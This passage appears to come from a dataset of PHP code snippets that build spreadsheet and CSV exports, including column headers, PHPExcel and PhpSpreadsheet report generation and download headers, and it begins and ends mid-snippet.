Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "abstract protected function getRowsHeader(): array;", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "abstract protected function excel ();", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function makeExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-tpl.xls');\n\n\t\t$baseRow = 11; // base row in template file\n\t\t\n\t\tforeach($data as $r => $dataRow) {\n\t\t\t$row = $baseRow + ($r+1);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($row,1);\n\t\t\t\n\t\t\tif (!empty($dataRow)){\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, ucfirst($dataRow['zone']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row, ucfirst($dataRow['village']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row, ucfirst($dataRow['prod_name']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row, $dataRow['unit_measure']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row, $dataRow['quantity']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('F'.$row, ucfirst($dataRow['quality']));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('G'.$row, $dataRow['price']);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('H'.$row,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_fname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t ucfirst($dataRow['contact_lname']).' '.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t 'TEL: ' . $dataRow['contact_tel']);\n\t\t\t}\n\t\t}\n\t\t$objPHPExcel->getActiveSheet()->removeRow($baseRow-1,1);\n\t\t\n\t\t// fill data area with white color\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$baseRow .':'.'H'.$row)\n\t\t\t\t\t->getFill()\n\t\t\t\t\t->applyFromArray(\n \t\t\t\t\t\t\t array(\n \t\t \t\t 'type' \t=> PHPExcel_Style_Fill::FILL_SOLID,\n \t\t\t\t\t\t 'startcolor' \t=> array('rgb' => 'FFFFFF'),\n \t\t\t\t \t 'endcolor' \t=> array('rgb' => 'FFFFFF')\n \t\t\t\t\t ));\n\t\t\n\t\t$comNo = $dataRow['com_number'];\n\t\t$deliveryDate = date('d-m-Y', strtotime($dataRow['ts_date_delivered']));\n\t\t\n\t\t$ComTitle = \"INFORMATION SUR LES PRODUITS FORESTIERS NON LIGNEUX DU \" .\n\t\t \"CERCLE DE TOMINIAN No: $comNo Du $deliveryDate\";\n\t\t\n\t\t$titleRow = $baseRow-1;\n\t\t// create new row\n\t\t$objPHPExcel->getActiveSheet()->insertNewRowBefore($titleRow,1);\n\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->mergeCells('A'.$titleRow. ':'.'H'.$titleRow)\n\t\t\t\t\t->setCellValue('A'.$titleRow, $ComTitle)\n\t\t\t\t\t->getStyle('A'.$titleRow)->getFont()\n\t\t\t\t\t->setBold(true)\n\t\t\t\t\t->setSize(13)\n\t\t\t\t\t->setColor(new PHPExcel_Style_Color());\n\t\t\t\t\t\n\t//\t$objPHPExcel->getActiveSheet()->getRowDimension('A'.$titleRow)->setRowHeight(10);\n\t\t\t\t\t\n\t\t$title = 'ComNo'.$comNo;\n\t\t// set title of sheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\n\t\t// Redirect output to a client’s web browser (Excel5)\n\t\theader('Content-Type: application/vnd.ms-excel');\n\t\theader('Content-Disposition: attachment;filename=\"communique.xls\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\t$objWriter->save('php://output');\n\t\texit;\n\t}", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "function setHeader($file_name){\t\n\t\t// echo date('H:i:s') , \" Set header/footer\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HPlease treat this document as confidential!');\n\t\t$this->objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . $this->objPHPExcel->getProperties()->getTitle() . '&RPage &P of &N');\n\t\t// Set page orientation and size\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\t\t$this->objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);\n\t\t// Rename worksheet\n\t\t// echo date('H:i:s') , \" Rename worksheet\" , EOL;\n\t\t$this->objPHPExcel->getActiveSheet()->setTitle($file_name);\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$this->objPHPExcel->setActiveSheetIndex(0);\n\t\t// download the excel file\n\t\t$this->output($file_name);\n\t}", "public function tuExcel(){\n $fields= $this->db->field_data('hotel');\n $query= $this->db->get('hotel');\n return array (\"fields\" => $fields, \"query\" => $query);\n }", "public function generateReport()\n {\n\t\t$this->_lastColumn=$this->objWorksheet->getHighestColumn();//TODO: better detection\n\t\t$this->_lastRow=$this->objWorksheet->getHighestRow();\n foreach($this->_data as $data)\n\t\t{\n\t\t\tif(isset ($data['repeat']) && $data['repeat']==true)\n\t\t\t{\n\t\t\t\t//Repeating data\n\t\t\t\t$foundTags=false;\n\t\t\t\t$repeatRange='';\n\t\t\t\t$firstRow='';\n\t\t\t\t$lastRow='';\n\n\t\t\t\t$firstCol='A';//TODO: better detection\n\t\t\t\t$lastCol=$this->_lastColumn;\n\n\t\t\t\t//scan the template\n\t\t\t\t//search for repeating part\n\t\t\t\tforeach ($this->objWorksheet->getRowIterator() as $row)\n\t\t\t\t{\n\t\t\t\t\t$cellIterator = $row->getCellIterator();\n\t\t\t\t\t$rowIndex = $row->getRowIndex();\n\t\t\t\t\t//find the repeating range (one or more rows)\n\t\t\t\t\tforeach ($cellIterator as $cell)\n\t\t\t\t\t{\n\t\t\t\t\t\t$cellval=trim($cell->getValue());\n\t\t\t\t\t\t$column = $cell->getColumn();\n\t\t\t\t\t\t//see if the cell has something for replacing\n\t\t\t\t\t\tif(preg_match_all(\"/\\{\".$data['id'].\":(\\w*|#\\+?-?(\\d*)?)\\}/\", $cellval, $matches))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//this cell has replacement tags\n\t\t\t\t\t\t\tif(!$foundTags) $foundTags=true;\n\t\t\t\t\t\t\t//remember the first ant the last row\n\t\t\t\t\t\t\tif($rowIndex!=$firstRow)\n\t\t\t\t\t\t\t\t$lastRow=$rowIndex;\n\t\t\t\t\t\t\tif($firstRow=='')\n\t\t\t\t\t\t\t\t$firstRow=$rowIndex;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//form the repeating range\n\t\t\t\tif($foundTags)\n\t\t\t\t\t$repeatRange=$firstCol.$firstRow.\":\".$lastCol.$lastRow;\n\n\t\t\t\t//check if this is the last row\n\t\t\t\tif($foundTags && $lastRow==$this->_lastRow)\n\t\t\t\t\t$data['last']=true;\n\n\t\t\t\t//set initial format data\n\t\t\t\tif(! isset($data['format']))\n\t\t\t\t\t$data['format']=array();\n\n\t\t\t\t//set default step as 1\n\t\t\t\tif(! isset($data['step']))\n\t\t\t\t\t$data['step']=1;\n\n\t\t\t\t//check if data is an array\n\t\t\t\tif(is_array($data['data']))\n\t\t\t\t{\n\t\t\t\t\t//every element is an array with data for all the columns\n\t\t\t\t\tif($foundTags)\n\t\t\t\t\t{\n\t\t\t\t\t\t//insert repeating rows, as many as needed\n\t\t\t\t\t\t//check if grouping is defined\n\t\t\t\t\t\tif(count($this->_group))\n\t\t\t\t\t\t\t$this->generateRepeatingRowsWithGrouping($data, $repeatRange);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t$this->generateRepeatingRows($data, $repeatRange);\n\t\t\t\t\t\t//remove the template rows\n\t\t\t\t\t\tfor($i=$firstRow;$i<=$lastRow;$i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->objWorksheet->removeRow($firstRow);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//if there is no data\n\t\t\t\t\t\tif(count($data['data'])==0)\n\t\t\t\t\t\t\t$this->addNoResultRow($firstRow,$firstCol,$lastCol);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t //TODO\n\t\t\t\t //maybe an SQL query?\n\t\t\t\t //needs to be database agnostic\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//non-repeating data\n\t\t\t\t//check for additional formating\n\t\t\t\tif(! isset($data['format']))\n\t\t\t\t\t$data['format']=array();\n\n\t\t\t\t//check if data is an array or mybe a SQL query\n\t\t\t\tif(is_array($data['data']))\n\t\t\t\t{\n\t\t\t\t\t//array of data\n\t\t\t\t\t$this->generateSingleRow($data);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t//TODO\n\t\t\t\t //maybe an SQL query?\n\t\t\t\t //needs to be database agnostic\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //call the replacing function\n $this->searchAndReplace();\n\n //generate heading if heading text is set\n if($this->_headingText!='')\n $this->generateHeading();\n\n }", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: relasidistribusi@gmail.com Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value 